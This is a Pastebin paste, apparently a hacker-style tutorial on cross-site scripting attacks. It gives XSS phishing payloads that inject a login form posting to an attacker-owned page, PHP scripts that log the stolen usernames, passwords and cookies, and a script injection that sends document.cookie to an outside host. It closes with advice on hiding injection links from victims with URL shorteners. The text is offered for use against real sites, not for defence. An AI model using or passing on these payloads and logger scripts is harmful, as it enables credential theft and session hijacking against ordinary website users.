--DSR--

F: XSS by LiTeRs50

May 16th, 2017
124
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.03 KB | None | 0 0
  1. Hey today we're going to talk about XSS(cross site scripting)
  2. We are talking about common xss attack types:
  3. Injectable by URL -client side
  4. Injectable by field forms -client side
  5.  
  6. It depends if we can execute PHP or HTML, if we can inject PHP then we can also
  7. inject HTML but NOT vice versa)
  8.  
  9. To find a XSS vulnerability the automatic way you can use:
  10. https://github.com/ajinabraham/OWASP-Xenotix-XSS-Exploit-Framework
  11.  
  12. To test it out manual you like:
  13. <script>alert"xss"</script>
  14.  
  15. That will pop-up a window shouting xss on client site(just your browser)
  16. For bypassing ids,ips you can encode it in hex etc.
  17. Or do things like:
  18. '> <*script>alert("xss")<*/script>
  19.  
  20. But this manual shit is boring so lets talk about some more interesting things.
  21. XSS PHISHING :DD
  22.  
  23. All we do is grab a vuln popular url and add xss script to it, send it to victim as embedded link
  24. Like this
  25. www.site.com/google.php?search=<html><body><head><meta content="text/html; charset=utf-8"></meta></head>
  26. <div style="text-align: center;"><form Method="POST" Action="http://www.phishingsite.com/phishingscript.php">
  27. Phishingpage :<br /><br/>Username :<br /> <input name="User" /><br />Password :<br />
  28. <input name="Password" type="password" /><br /><br /><input name="Valid" value="Ok !" type="submit" />
  29. <br /></form></div></body></html>
  30.  
  31. you haft to own the "http://www.phishingsite.com/phishingscript.php" ofc
  32.  
  33. content of phishingscript.php
  34.  
  35. <?php
  36. $login = $_POST['user'];
  37. $password = $_POST['Password'];
  38. $open = fopen('log.txt', 'a+');
  39. fputs($open, 'Username : ' . $login . '<br >' . '
  40. Password : ' . $password . '<br >' . '<br >');
  41. ?>
  42.  
  43.  
  44.  
  45. or maybe Iframe phishing be like:
  46. www.site.com/google.php?search=<iframe src="http://www.yourphishingsite.com" height="100%" width="100%"></iframe>
  47.  
  48.  
  49.  
  50. Enough with phishing, lets now talk about
  51. Cookie hijacking:
  52. Put cookie logger script on your webpage and insert it to javascript into xss vulnerable with the cookielogger script address :)
  53. The rest will script handle
  54.  
  55. cookielogger.php
  56. <*?php
  57.  
  58. function GetIP()
  59. {
  60. if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
  61. $ip = getenv("HTTP_CLIENT_IP");
  62. else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
  63. $ip = getenv("HTTP_X_FORWARDED_FOR");
  64. else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
  65. $ip = getenv("REMOTE_ADDR");
  66. else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
  67. $ip = $_SERVER['REMOTE_ADDR'];
  68. else
  69. $ip = "unknown";
  70. return($ip);
  71. }
  72.  
  73. function logData()
  74. {
  75. $ipLog="log.txt";
  76. $cookie = $_SERVER['QUERY_STRING'];
  77. $register_globals = (bool) ini_get('register_gobals');
  78. if ($register_globals) $ip = getenv('REMOTE_ADDR');
  79. else $ip = GetIP();
  80.  
  81. $rem_port = $_SERVER['REMOTE_PORT'];
  82. $user_agent = $_SERVER['HTTP_USER_AGENT'];
  83. $rqst_method = $_SERVER['METHOD'];
  84. $rem_host = $_SERVER['REMOTE_HOST'];
  85. $referer = $_SERVER['HTTP_REFERER'];
  86. $date=date ("l dS of F Y h:i:s A");
  87. $log=fopen("$ipLog", "a+");
  88.  
  89. if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))
  90. fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie
  91. ");
  92. else
  93. fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n");
  94. fclose($log);
  95. }
  96.  
  97. logData();
  98.  
  99. ?>
  100.  
  101.  
  102. Make a tlog.txt and put both of them on your webspace and set "chmod 777".
  103. Inject the following code in your target website:
  104. http://www.site.com/google.php?search=<script>location.href = 'http://phishingsite.com/cookiestealer.php?cookie='+document.cookie;</script>
  105. you vuln script be like ofc <script>location.href = 'http://phishingsite.com/cookiestealer.php?cookie='+document.cookie;</script>
  106.  
  107.  
  108.  
  109.  
  110. use url shortener services such as tinyurl.com or bit.ly to 'hide' your injection script from the victim
  111.  
  112.  
  113.  
  114.  
  115.  
  116.  
  117.  
  118. information and code from 2011
Add Comment
Please, Sign In to add comment